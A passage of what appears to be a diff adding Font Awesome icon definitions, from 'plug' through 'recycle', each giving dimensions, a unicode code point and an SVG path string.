256s111 248 248 248 248-111 248-248S393 8 256 8zm115.7 272l-176 101c-15.8 8.8-35.7-2.5-35.7-21V152c0-18.4 19.8-29.8 35.7-21l176 107c16.4 9.2 16.4 32.9 0 42z" ], + plug: [ 384, 512, [], "f1e6", "M320,32a32,32,0,0,0-64,0v96h64Zm48,128H16A16,16,0,0,0,0,176v32a16,16,0,0,0,16,16H32v32A160.07,160.07,0,0,0,160,412.8V512h64V412.8A160.07,160.07,0,0,0,352,256V224h16a16,16,0,0,0,16-16V176A16,16,0,0,0,368,160ZM128,32a32,32,0,0,0-64,0v96h64Z" ], + plus: [ 448, 512, [], "f067", "M416 208H272V64c0-17.67-14.33-32-32-32h-32c-17.67 0-32 14.33-32 32v144H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h144v144c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32V304h144c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" ], + "plus-circle": [ 512, 512, [], "f055", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm144 276c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92h-92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z" ], + "plus-square": [ 448, 512, [], "f0fe", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-32 252c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92H92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z" ], + podcast: [ 448, 512, [], "f2ce", "M267.429 488.563C262.286 507.573 242.858 512 224 512c-18.857 0-38.286-4.427-43.428-23.437C172.927 460.134 160 388.898 160 355.75c0-35.156 31.142-43.75 64-43.75s64 8.594 64 43.75c0 32.949-12.871 104.179-20.571 132.813zM156.867 288.554c-18.693-18.308-29.958-44.173-28.784-72.599 2.054-49.724 42.395-89.956 92.124-91.881C274.862 121.958 320 165.807 320 220c0 26.827-11.064 51.116-28.866 68.552-2.675 2.62-2.401 6.986.628 9.187 9.312 6.765 16.46 15.343 21.234 25.363 1.741 3.654 6.497 4.66 9.449 1.891 28.826-27.043 46.553-65.783 45.511-108.565-1.855-76.206-63.595-138.208-139.793-140.369C146.869 73.753 80 139.215 80 220c0 41.361 17.532 78.7 45.55 104.989 2.953 2.771 7.711 1.77 9.453-1.887 4.774-10.021 11.923-18.598 21.235-25.363 3.029-2.2 3.304-6.566.629-9.185zM224 0C100.204 0 0 100.185 0 224c0 89.992 52.602 165.647 125.739 201.408 4.333 2.118 9.267-1.544 8.535-6.31-2.382-15.512-4.342-30.946-5.406-44.339-.146-1.836-1.149-3.486-2.678-4.512-47.4-31.806-78.564-86.016-78.187-147.347.592-96.237 79.29-174.648 175.529-174.899C320.793 47.747 400 126.797 400 224c0 61.932-32.158 116.49-80.65 147.867-.999 14.037-3.069 30.588-5.624 47.23-.732 4.767 4.203 8.429 8.535 6.31C395.227 389.727 448 314.187 448 224 448 100.205 347.815 0 224 0zm0 160c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64z" ], + poll: [ 448, 512, [], "f681", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM160 368c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V240c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v128zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V144c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v224zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-64c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v64z" ], + "poll-h": [ 448, 512, [], "f682", "M448 432V80c0-26.5-21.5-48-48-48H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48zM112 192c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h128c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-64z" ], + poo: [ 512, 512, [], "f2fe", "M451.4 369.1C468.7 356 480 335.4 480 312c0-39.8-32.2-72-72-72h-14.1c13.4-11.7 22.1-28.8 22.1-48 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C250.3 14.6 256 30.6 256 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 19.2 8.7 36.3 22.1 48H104c-39.8 0-72 32.2-72 72 0 23.4 11.3 44 28.6 57.1C26.3 374.6 0 404.1 0 440c0 39.8 32.2 72 72 72h368c39.8 0 72-32.2 72-72 0-35.9-26.3-65.4-60.6-70.9zM192 256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm159.5 139C341 422.9 293 448 256 448s-85-25.1-95.5-53c-2-5.3 2-11 7.8-11h175.4c5.8 0 9.8 5.7 7.8 11zM320 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "poo-storm": [ 448, 512, [], "f75a", "M308 336h-57.7l17.3-64.9c2-7.6-3.7-15.1-11.6-15.1h-68c-6 0-11.1 4.5-11.9 10.4l-16 120c-1 7.2 4.6 13.6 11.9 13.6h59.3l-23 97.2c-1.8 7.6 4 14.8 11.7 14.8 4.2 0 8.2-2.2 10.4-6l88-152c4.6-8-1.2-18-10.4-18zm66.4-111.3c5.9-9.6 9.6-20.6 9.6-32.7 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C218.3 14.6 224 30.6 224 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 12.1 3.7 23.1 9.6 32.7C32.6 228 0 262.2 0 304c0 44 36 80 80 80h48.3c.1-.6 0-1.2 0-1.8l16-120c3-21.8 21.7-38.2 43.7-38.2h68c13.8 0 26.5 6.3 34.9 17.2s11.2 24.8 7.6 38.1l-6.6 24.7h16c15.7 0 30.3 8.4 38.1 22 7.8 13.6 7.8 30.5 0 44l-8.1 14h30c44 0 80-36 80-80 .1-41.8-32.5-76-73.5-79.3z" ], + poop: [ 512, 512, [], "f619", "M451.36 369.14C468.66 355.99 480 335.41 480 312c0-39.77-32.24-72-72-72h-14.07c13.42-11.73 22.07-28.78 22.07-48 0-35.35-28.65-64-64-64h-5.88c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96-5.17 0-10.15.74-15.11 1.52C250.31 14.64 256 30.62 256 48c0 44.18-35.82 80-80 80h-16c-35.35 0-64 28.65-64 64 0 19.22 8.65 36.27 22.07 48H104c-39.76 0-72 32.23-72 72 0 23.41 11.34 43.99 28.64 57.14C26.31 374.62 0 404.12 0 440c0 39.76 32.24 72 72 72h368c39.76 0 72-32.24 72-72 0-35.88-26.31-65.38-60.64-70.86z" ], + portrait: [ 384, 512, [], "f3e0", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM192 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 384 80 375.4 80 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z" ], + "pound-sign": [ 320, 512, [], "f154", "M308 352h-45.495c-6.627 0-12 5.373-12 12v50.848H128V288h84c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-84v-63.556c0-32.266 24.562-57.086 61.792-57.086 23.658 0 45.878 11.505 57.652 18.849 5.151 3.213 11.888 2.051 15.688-2.685l28.493-35.513c4.233-5.276 3.279-13.005-2.119-17.081C273.124 54.56 236.576 32 187.931 32 106.026 32 48 84.742 48 157.961V224H20c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h28v128H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h296c6.627 0 12-5.373 12-12V364c0-6.627-5.373-12-12-12z" ], + "power-off": [ 512, 512, [], "f011", "M400 54.1c63 45 104 118.6 104 201.9 0 136.8-110.8 247.7-247.5 248C120 504.3 8.2 393 8 256.4 7.9 173.1 48.9 99.3 111.8 54.2c11.7-8.3 28-4.8 35 7.7L162.6 90c5.9 10.5 3.1 23.8-6.6 31-41.5 30.8-68 79.6-68 134.9-.1 92.3 74.5 168.1 168 168.1 91.6 0 168.6-74.2 168-169.1-.3-51.8-24.7-101.8-68.1-134-9.7-7.2-12.4-20.5-6.5-30.9l15.8-28.1c7-12.4 23.2-16.1 34.8-7.8zM296 264V24c0-13.3-10.7-24-24-24h-32c-13.3 0-24 10.7-24 24v240c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24z" ], + pray: [ 384, 512, [], "f683", "M256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-30.63 169.75c14.06 16.72 39 19.09 55.97 5.22l88-72.02c17.09-13.98 19.59-39.19 5.62-56.28-13.97-17.11-39.19-19.59-56.31-5.62l-57.44 47-38.91-46.31c-15.44-18.39-39.22-27.92-64-25.33-24.19 2.48-45.25 16.27-56.37 36.92l-49.37 92.03c-23.4 43.64-8.69 96.37 34.19 123.75L131.56 432H40c-22.09 0-40 17.91-40 40s17.91 40 40 40h208c34.08 0 53.77-42.79 28.28-68.28L166.42 333.86l34.8-64.87 24.15 28.76z" ], + "praying-hands": [ 640, 512, [], "f684", "M272 191.91c-17.6 0-32 14.4-32 32v80c0 8.84-7.16 16-16 16s-16-7.16-16-16v-76.55c0-17.39 4.72-34.47 13.69-49.39l77.75-129.59c9.09-15.16 4.19-34.81-10.97-43.91-14.45-8.67-32.72-4.3-42.3 9.21-.2.23-.62.21-.79.48l-117.26 175.9C117.56 205.9 112 224.31 112 243.29v80.23l-90.12 30.04A31.974 31.974 0 0 0 0 383.91v96c0 10.82 8.52 32 32 32 2.69 0 5.41-.34 8.06-1.03l179.19-46.62C269.16 449.99 304 403.8 304 351.91v-128c0-17.6-14.4-32-32-32zm346.12 161.73L528 323.6v-80.23c0-18.98-5.56-37.39-16.12-53.23L394.62 14.25c-.18-.27-.59-.24-.79-.48-9.58-13.51-27.85-17.88-42.3-9.21-15.16 9.09-20.06 28.75-10.97 43.91l77.75 129.59c8.97 14.92 13.69 32 13.69 49.39V304c0 8.84-7.16 16-16 16s-16-7.16-16-16v-80c0-17.6-14.4-32-32-32s-32 14.4-32 32v128c0 51.89 34.84 98.08 84.75 112.34l179.19 46.62c2.66.69 5.38 1.03 8.06 1.03 23.48 0 32-21.18 32-32v-96c0-13.77-8.81-25.99-21.88-30.35z" ], + prescription: [ 384, 512, [], "f5b1", "M301.26 352l78.06-78.06c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0L256 306.74l-83.96-83.96C219.31 216.8 256 176.89 256 128c0-53.02-42.98-96-96-96H16C7.16 32 0 39.16 0 48v256c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-80h18.75l128 128-78.06 78.06c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0L256 397.25l78.06 78.06c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63L301.26 352zM64 96h96c17.64 0 32 14.36 32 32s-14.36 32-32 32H64V96z" ], + "prescription-bottle": [ 384, 512, [], "f485", "M32 192h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v64zM360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24z" ], + "prescription-bottle-alt": [ 384, 512, [], "f486", "M360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24zM32 480c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v352zm64-184c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48z" ], + print: [ 512, 512, [], "f02f", "M448 192V77.25c0-8.49-3.37-16.62-9.37-22.63L393.37 9.37c-6-6-14.14-9.37-22.63-9.37H96C78.33 0 64 14.33 64 32v160c-35.35 0-64 28.65-64 64v112c0 8.84 7.16 16 16 16h48v96c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-96h48c8.84 0 16-7.16 16-16V256c0-35.35-28.65-64-64-64zm-64 256H128v-96h256v96zm0-224H128V64h192v48c0 8.84 7.16 16 16 16h48v96zm48 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" ], + procedures: [ 640, 512, [], "f487", "M528 224H272c-8.8 0-16 7.2-16 16v144H64V144c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v352c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48h512v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-61.9-50.1-112-112-112zM136 96h126.1l27.6 55.2c5.9 11.8 22.7 11.8 28.6 0L368 51.8 390.1 96H512c8.8 0 16-7.2 16-16s-7.2-16-16-16H409.9L382.3 8.8C376.4-3 359.6-3 353.7 8.8L304 108.2l-19.9-39.8c-1.4-2.7-4.1-4.4-7.2-4.4H136c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm24 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z" ], + "project-diagram": [ 640, 512, [], "f542", "M384 320H256c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM192 32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v128c0 17.67 14.33 32 32 32h95.72l73.16 128.04C211.98 300.98 232.4 288 256 288h.28L192 175.51V128h224V64H192V32zM608 0H480c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32z" ], + "pump-medical": [ 384, 512, [], "e06a", "M235.51,159.82H84.24A64,64,0,0,0,20.51,218L.14,442a64,64,0,0,0,63.74,69.8h192A64,64,0,0,0,319.61,442L299.24,218A64,64,0,0,0,235.51,159.82Zm4.37,173.33a13.35,13.35,0,0,1-13.34,13.34h-40v40a13.33,13.33,0,0,1-13.33,13.33H146.54a13.33,13.33,0,0,1-13.33-13.33v-40h-40a13.34,13.34,0,0,1-13.33-13.34V306.49a13.33,13.33,0,0,1,13.33-13.34h40v-40a13.33,13.33,0,0,1,13.33-13.33h26.67a13.33,13.33,0,0,1,13.33,13.33v40h40a13.34,13.34,0,0,1,13.34,13.34ZM379.19,93.88,335.87,50.56a64,64,0,0,0-45.24-18.74H223.88a32,32,0,0,0-32-32h-64a32,32,0,0,0-32,32v96h128v-32h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.19,93.88Z" ], + "pump-soap": [ 384, 512, [], "e06b", "M235.63,160H84.37a64,64,0,0,0-63.74,58.21L.27,442.21A64,64,0,0,0,64,512H256a64,64,0,0,0,63.74-69.79l-20.36-224A64,64,0,0,0,235.63,160ZM160,416c-33.12,0-60-26.33-60-58.75,0-25,35.7-75.47,52-97.27A10,10,0,0,1,168,260c16.33,21.8,52,72.27,52,97.27C220,389.67,193.12,416,160,416ZM379.31,94.06,336,50.74A64,64,0,0,0,290.75,32H224A32,32,0,0,0,192,0H128A32,32,0,0,0,96,32v96H224V96h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.31,94.06Z" ], + "puzzle-piece": [ 576, 512, [], "f12e", "M519.442 288.651c-41.519 0-59.5 31.593-82.058 31.593C377.409 320.244 432 144 432 144s-196.288 80-196.288-3.297c0-35.827 36.288-46.25 36.288-85.985C272 19.216 243.885 0 210.539 0c-34.654 0-66.366 18.891-66.366 56.346 0 41.364 31.711 59.277 31.711 81.75C175.885 207.719 0 166.758 0 166.758v333.237s178.635 41.047 178.635-28.662c0-22.473-40-40.107-40-81.471 0-37.456 29.25-56.346 63.577-56.346 33.673 0 61.788 19.216 61.788 54.717 0 39.735-36.288 50.158-36.288 85.985 0 60.803 129.675 25.73 181.23 25.73 0 0-34.725-120.101 25.827-120.101 35.962 0 46.423 36.152 86.308 36.152C556.712 416 576 387.99 576 354.443c0-34.199-18.962-65.792-56.558-65.792z" ], + qrcode: [ 448, 512, [], "f029", "M0 224h192V32H0v192zM64 96h64v64H64V96zm192-64v192h192V32H256zm128 128h-64V96h64v64zM0 480h192V288H0v192zm64-128h64v64H64v-64zm352-64h32v128h-96v-32h-32v96h-64V288h96v32h64v-32zm0 160h32v32h-32v-32zm-64 0h32v32h-32v-32z" ], + question: [ 384, 512, [], "f128", "M202.021 0C122.202 0 70.503 32.703 29.914 91.026c-7.363 10.58-5.093 25.086 5.178 32.874l43.138 32.709c10.373 7.865 25.132 6.026 33.253-4.148 25.049-31.381 43.63-49.449 82.757-49.449 30.764 0 68.816 19.799 68.816 49.631 0 22.552-18.617 34.134-48.993 51.164-35.423 19.86-82.299 44.576-82.299 106.405V320c0 13.255 10.745 24 24 24h72.471c13.255 0 24-10.745 24-24v-5.773c0-42.86 125.268-44.645 125.268-160.627C377.504 66.256 286.902 0 202.021 0zM192 373.459c-38.196 0-69.271 31.075-69.271 69.271 0 38.195 31.075 69.27 69.271 69.27s69.271-31.075 69.271-69.271-31.075-69.27-69.271-69.27z" ], + "question-circle": [ 512, 512, [], "f059", "M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z" ], + quidditch: [ 640, 512, [], "f458", "M256.5 216.8L343.2 326s-16.6 102.4-76.6 150.1C206.7 523.8 0 510.2 0 510.2s3.8-23.1 11-55.4l94.6-112.2c4-4.7-.9-11.6-6.6-9.5l-60.4 22.1c14.4-41.7 32.7-80 54.6-97.5 59.9-47.8 163.3-40.9 163.3-40.9zm238 135c-44 0-79.8 35.8-79.8 79.9 0 44.1 35.7 79.9 79.8 79.9 44.1 0 79.8-35.8 79.8-79.9 0-44.2-35.8-79.9-79.8-79.9zM636.5 31L616.7 6c-5.5-6.9-15.5-8-22.4-2.6L361.8 181.3l-34.1-43c-5.1-6.4-15.1-5.2-18.6 2.2l-25.3 54.6 86.7 109.2 58.8-12.4c8-1.7 11.4-11.2 6.3-17.6l-34.1-42.9L634 53.5c6.9-5.5 8-15.6 2.5-22.5z" ], + "quote-left": [ 512, 512, [], "f10d", "M464 256h-80v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8c-88.4 0-160 71.6-160 160v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zm-288 0H96v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8C71.6 32 0 103.6 0 192v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z" ], + "quote-right": [ 512, 512, [], "f10e", "M464 32H336c-26.5 0-48 21.5-48 48v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48zm-288 0H48C21.5 32 0 53.5 0 80v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48z" ], + quran: [ 448, 512, [], "f687", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM301.08 145.82c.6-1.21 1.76-1.82 2.92-1.82s2.32.61 2.92 1.82l11.18 22.65 25 3.63c2.67.39 3.74 3.67 1.81 5.56l-18.09 17.63 4.27 24.89c.36 2.11-1.31 3.82-3.21 3.82-.5 0-1.02-.12-1.52-.38L304 211.87l-22.36 11.75c-.5.26-1.02.38-1.52.38-1.9 0-3.57-1.71-3.21-3.82l4.27-24.89-18.09-17.63c-1.94-1.89-.87-5.17 1.81-5.56l24.99-3.63 11.19-22.65zm-57.89-69.01c13.67 0 27.26 2.49 40.38 7.41a6.775 6.775 0 1 1-2.38 13.12c-.67 0-3.09-.21-4.13-.21-52.31 0-94.86 42.55-94.86 94.86 0 52.3 42.55 94.86 94.86 94.86 1.03 0 3.48-.21 4.13-.21 3.93 0 6.8 3.14 6.8 6.78 0 2.98-1.94 5.51-4.62 6.42-13.07 4.87-26.59 7.34-40.19 7.34C179.67 307.19 128 255.51 128 192c0-63.52 51.67-115.19 115.19-115.19zM380.8 448H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z" ], + radiation: [ 496, 512, [], "f7b9", "M328.2 255.8h151.6c9.1 0 16.8-7.7 16.2-16.8-5.1-75.8-44.4-142.2-102.5-184.2-7.4-5.3-17.9-2.9-22.7 4.8L290.4 188c22.6 14.3 37.8 39.2 37.8 67.8zm-37.8 67.7c-12.3 7.7-26.8 12.4-42.4 12.4-15.6 0-30-4.7-42.4-12.4L125.2 452c-4.8 7.7-2.4 18.1 5.6 22.4C165.7 493.2 205.6 504 248 504s82.3-10.8 117.2-29.6c8-4.3 10.4-14.8 5.6-22.4l-80.4-128.5zM248 303.8c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm-231.8-48h151.6c0-28.6 15.2-53.5 37.8-67.7L125.2 59.7c-4.8-7.7-15.3-10.2-22.7-4.8C44.4 96.9 5.1 163.3 0 239.1c-.6 9 7.1 16.7 16.2 16.7z" ], + "radiation-alt": [ 496, 512, [], "f7ba", "M312 256h79.1c9.2 0 16.9-7.7 16-16.8-4.6-43.6-27-81.8-59.5-107.8-7.6-6.1-18.8-4.5-24 3.8L281.9 202c18 11.2 30.1 31.2 30.1 54zm-97.8 54.1L172.4 377c-4.9 7.8-2.4 18.4 5.8 22.5 21.1 10.4 44.7 16.5 69.8 16.5s48.7-6.1 69.9-16.5c8.2-4.1 10.6-14.7 5.8-22.5l-41.8-66.9c-9.8 6.2-21.4 9.9-33.8 9.9s-24.1-3.7-33.9-9.9zM104.9 256H184c0-22.8 12.1-42.8 30.2-54.1l-41.7-66.8c-5.2-8.3-16.4-9.9-24-3.8-32.6 26-54.9 64.2-59.5 107.8-1.1 9.2 6.7 16.9 15.9 16.9zM248 504c137 0 248-111 248-248S385 8 248 8 0 119 0 256s111 248 248 248zm0-432c101.5 0 184 82.5 184 184s-82.5 184-184 184S64 357.5 64 256 146.5 72 248 72zm0 216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z" ], + rainbow: [ 576, 512, [], "f75b", "M268.3 32.7C115.4 42.9 0 176.9 0 330.2V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C64 186.8 180.9 80.3 317.5 97.9 430.4 112.4 512 214 512 327.8V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-165.3-140-298.6-307.7-287.3zm-5.6 96.9C166 142 96 229.1 96 326.7V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-74.8 64.5-134.8 140.8-127.4 66.5 6.5 115.2 66.2 115.2 133.1V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-114.2-100.2-205.4-217.3-190.4zm6.2 96.3c-45.6 8.9-76.9 51.5-76.9 97.9V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-17.6 14.3-32 32-32s32 14.4 32 32v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-59.2-53.8-106-115.1-94.1z" ], + random: [ 512, 512, [], "f074", "M504.971 359.029c9.373 9.373 9.373 24.569 0 33.941l-80 79.984c-15.01 15.01-40.971 4.49-40.971-16.971V416h-58.785a12.004 12.004 0 0 1-8.773-3.812l-70.556-75.596 53.333-57.143L352 336h32v-39.981c0-21.438 25.943-31.998 40.971-16.971l80 79.981zM12 176h84l52.781 56.551 53.333-57.143-70.556-75.596A11.999 11.999 0 0 0 122.785 96H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12zm372 0v39.984c0 21.46 25.961 31.98 40.971 16.971l80-79.984c9.373-9.373 9.373-24.569 0-33.941l-80-79.981C409.943 24.021 384 34.582 384 56.019V96h-58.785a12.004 12.004 0 0 0-8.773 3.812L96 336H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h110.785c3.326 0 6.503-1.381 8.773-3.812L352 176h32z" ], + receipt: [ 384, 512, [], "f543", "M358.4 3.2L320 48 265.6 3.2a15.9 15.9 0 0 0-19.2 0L192 48 137.6 3.2a15.9 15.9 0 0 0-19.2 0L64 48 25.6 3.2C15-4.7 0 2.8 0 16v480c0 13.2 15 20.7 25.6 12.8L64 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L192 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L320 464l38.4 44.8c10.5 7.9 25.6.4 25.6-12.8V16c0-13.2-15-20.7-25.6-12.8zM320 360c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16z" ], + "record-vinyl": [ 512, 512, [], "f8d9", "M256 152a104 104 0 1 0 104 104 104 104 0 0 0-104-104zm0 128a24 24 0 1 1 24-24 24 24 0 0 1-24 24zm0-272C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 376a128 128 0 1 1 128-128 128 128 0 0 1-128 128z" ], + recycle: [ 512, 512, [], "f1b8", "M184.561 261.903c3.232 13.997-12.123 24.635-24.068 17.168l-40.736-25.455-50.867 81.402C55.606 356.273 70.96 384 96.012 384H148c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12H96.115c-75.334 0-121.302-83.048-81.408-146.88l50.822-81.388-40.725-25.448c-12.081-7.547-8.966-25.961 4.879-29.158l110.237-25.45c8.611-1.988 17.201 3.381 19.189 11.99l25.452 110.237zm98.561-182.915l41.289 66.076-40.74 25.457c-12.051 7.528-9 25.953 4.879 29.158l110.237 25.45c8.672 1.999 17.215-3.438 19.189-11.99l25.45-110.237c3.197-13.844-11.99-24.719-24.068-17.168l-40.687 25.424-41.263-66.082c-37.521-60.033-125.209-60.171-162.816 0l-17.963 28.766c-3.51 5.62-1.8 13.021 3.82 16.533l33.919 21.195c5.62 3.512 13.024 1.803 16.536-3.817l17.961-28.743c12.712-20.341 41.973-19.676 54.257-.022zM497.288 